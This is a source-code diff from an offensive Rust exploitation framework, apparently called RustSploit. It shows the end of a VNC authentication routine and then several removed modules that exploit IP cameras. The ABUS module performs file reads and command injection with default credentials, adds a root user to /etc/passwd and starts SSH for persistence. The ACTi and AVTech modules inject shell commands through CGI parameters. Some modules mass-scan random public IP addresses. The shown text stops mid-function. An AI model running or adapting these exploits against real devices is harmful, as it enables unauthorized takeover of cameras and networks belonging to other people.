Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut type_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read security type: {}", e))
|
||||
}
|
||||
Err(_) => {
|
||||
return VncResult::ConnectionError("Timeout reading security type".to_string())
|
||||
}
|
||||
}
|
||||
|
||||
let sec_type = u32::from_be_bytes(type_buf);
|
||||
match sec_type {
|
||||
0 => {
|
||||
return VncResult::ProtocolError(
|
||||
"Server refused connection (security type 0)".to_string(),
|
||||
)
|
||||
}
|
||||
1 => return VncResult::NoAuth,
|
||||
2 => {} // VNC Authentication -- proceed
|
||||
_ => {
|
||||
return VncResult::ProtocolError(format!(
|
||||
"Unsupported security type: {}",
|
||||
sec_type
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Step 4: Read 16-byte challenge
|
||||
let mut challenge = [0u8; CHALLENGE_LEN];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut challenge),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read challenge: {}", e))
|
||||
}
|
||||
Err(_) => return VncResult::ConnectionError("Timeout reading challenge".to_string()),
|
||||
}
|
||||
|
||||
// Step 5: Encrypt challenge with DES using bit-reversed password key
|
||||
let key = vnc_des_key(password);
|
||||
let response = vnc_des_encrypt(&key, &challenge);
|
||||
|
||||
// Step 6: Send encrypted response
|
||||
if let Err(e) = stream.write_all(&response).await {
|
||||
return VncResult::ConnectionError(format!("Failed to send auth response: {}", e));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return VncResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
|
||||
// Step 7: Read security result (4 bytes)
|
||||
let mut result_buf = [0u8; 4];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut result_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read auth result: {}", e))
|
||||
}
|
||||
Err(_) => return VncResult::ConnectionError("Timeout reading auth result".to_string()),
|
||||
}
|
||||
|
||||
let security_result = u32::from_be_bytes(result_buf);
|
||||
|
||||
match security_result {
|
||||
0 => VncResult::Success,
|
||||
1 => {
|
||||
// Failed -- in RFB 3.8, a reason string follows
|
||||
if minor >= 8 {
|
||||
let mut len_buf = [0u8; 4];
|
||||
if let Ok(Ok(_)) = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut len_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
let reason_len = u32::from_be_bytes(len_buf) as usize;
|
||||
if reason_len > 0 && reason_len < 4096 {
|
||||
let mut reason = vec![0u8; reason_len];
|
||||
let _ = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut reason),
|
||||
)
|
||||
.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
VncResult::AuthFailed
|
||||
}
|
||||
2 => VncResult::ProtocolError("Too many authentication failures".to_string()),
|
||||
other => VncResult::ProtocolError(format!("Unknown security result: {}", other)),
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,4 @@
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
pub mod camera;
|
||||
pub mod utils;
|
||||
pub mod camxploit;
|
||||
|
||||
+1007
-34
File diff suppressed because it is too large
Load Diff
@@ -1,376 +0,0 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use chrono::Local;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ScanMode {
|
||||
StandardCheck,
|
||||
CustomCommand,
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
|
||||
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
println!("{}", "[*] Exploit mode selection:".cyan().bold());
|
||||
println!(" {} LFI (Local File Inclusion)", "[1]".green());
|
||||
println!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
print!("{}", "> ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
let mut choice = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut choice)
|
||||
.await
|
||||
.context("Failed to read choice")?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut fp = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut fp)
|
||||
.await
|
||||
.context("Failed to read file path")?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut cmd)
|
||||
.await
|
||||
.context("Failed to read command")?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("{}", "Enter desired password for new root user: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut pwd = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut pwd)
|
||||
.await
|
||||
.context("Failed to read password")?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
return Err(anyhow!("Invalid choice"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning (no honeypot detection)
|
||||
async fn quick_check(client: &Client, ip: &str, mode: ScanMode, custom_cmd: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let cmd = if let ScanMode::CustomCommand = mode { custom_cmd } else { "id" };
|
||||
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp.status().is_success(),
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode - infinite random IP scanning
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
let mut outfile = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut outfile).await?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
|
||||
// Prompt for Payload Mode
|
||||
println!("{}", "[?] Select Payload Mode:".cyan());
|
||||
println!(" 1. Standard Check (Command: id)");
|
||||
println!(" 2. Custom Command");
|
||||
print!("{}", "Select option [1-2] (default 1): ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
let mut mode_str = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut mode_str).await?;
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::StandardCheck,
|
||||
};
|
||||
|
||||
let mut custom_cmd = String::new();
|
||||
if let ScanMode::CustomCommand = mode {
|
||||
print!("{}", "[?] Enter Custom Command: ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut custom_cmd).await?;
|
||||
custom_cmd = custom_cmd.trim().to_string();
|
||||
}
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Result writer channel
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&outfile_clone)
|
||||
.await
|
||||
.expect("Failed to open output file");
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Stats reporter
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cc = custom_cmd.clone();
|
||||
let current_mode = mode;
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str, current_mode, &cc).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
let log_entry = format!("{} - {}\n", ip_str, timestamp);
|
||||
let _ = tx.send(log_entry);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
execute(target).await
|
||||
}
|
||||
}
|
||||
@@ -1,126 +0,0 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
/// - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// Exploit authors:
|
||||
/// - Todor Donev <todor.donev@gmail.com>
|
||||
/// - GH0st3rs (RouterSploit module)
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Prompt for port
|
||||
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port input")?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
|
||||
|
||||
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// Prompt for command to execute
|
||||
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut cmd_input)
|
||||
.await
|
||||
.context("Failed to read command input")?;
|
||||
let cmd = {
|
||||
let t = cmd_input.trim();
|
||||
if t.is_empty() { "id" } else { t }
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
|
||||
|
||||
let res = client
|
||||
.get(url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header("Referer", format!("http://{}:{}", target, port))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
println!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
println!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
@@ -1,268 +0,0 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::escape_shell_command;
|
||||
|
||||
const DEFAULT_PORT: &str = "80";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// // Ensures the target string has a scheme (http://) and includes port
|
||||
fn normalize_url(ip: &str, port: &str) -> String {
|
||||
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
|
||||
ip.to_string()
|
||||
} else {
|
||||
format!("http://{}", ip)
|
||||
};
|
||||
|
||||
let port = port.trim();
|
||||
if port.is_empty() {
|
||||
with_scheme
|
||||
} else if with_scheme.contains(':') {
|
||||
with_scheme // already has port
|
||||
} else {
|
||||
format!("{}:{}", with_scheme, port)
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking vulnerability...".cyan());
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", "1;echo_CVE7029;");
|
||||
let resp = client.get(url).send().await?;
|
||||
let body = resp.text().await?;
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut lines = tokio::io::BufReader::new(stdin).lines();
|
||||
|
||||
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
|
||||
loop {
|
||||
print!("{}", "cve7029-shell> ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
if let Some(cmd) = lines.next_line().await? {
|
||||
let cmd = cmd.trim();
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match exec_cmd(client, base, cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Execute a remote command by abusing the brightness parameter
|
||||
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
// Escape command to prevent injection of additional shell commands
|
||||
let escaped_cmd = escape_shell_command(cmd);
|
||||
let payload = format!("1;{};", escaped_cmd);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
let response = client.get(url).send().await?;
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
/// Prompt user for a custom port number
|
||||
async fn prompt_port() -> Result<String> {
|
||||
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port)
|
||||
.await
|
||||
.context("Failed to read port")?;
|
||||
let port = port.trim();
|
||||
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning
|
||||
async fn quick_check(client: &Client, ip: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let url = format!("http://{}/cgi-bin/supervisor/Factory.cgi?action=Set&brightness=1;echo_CVE7029;", host);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => {
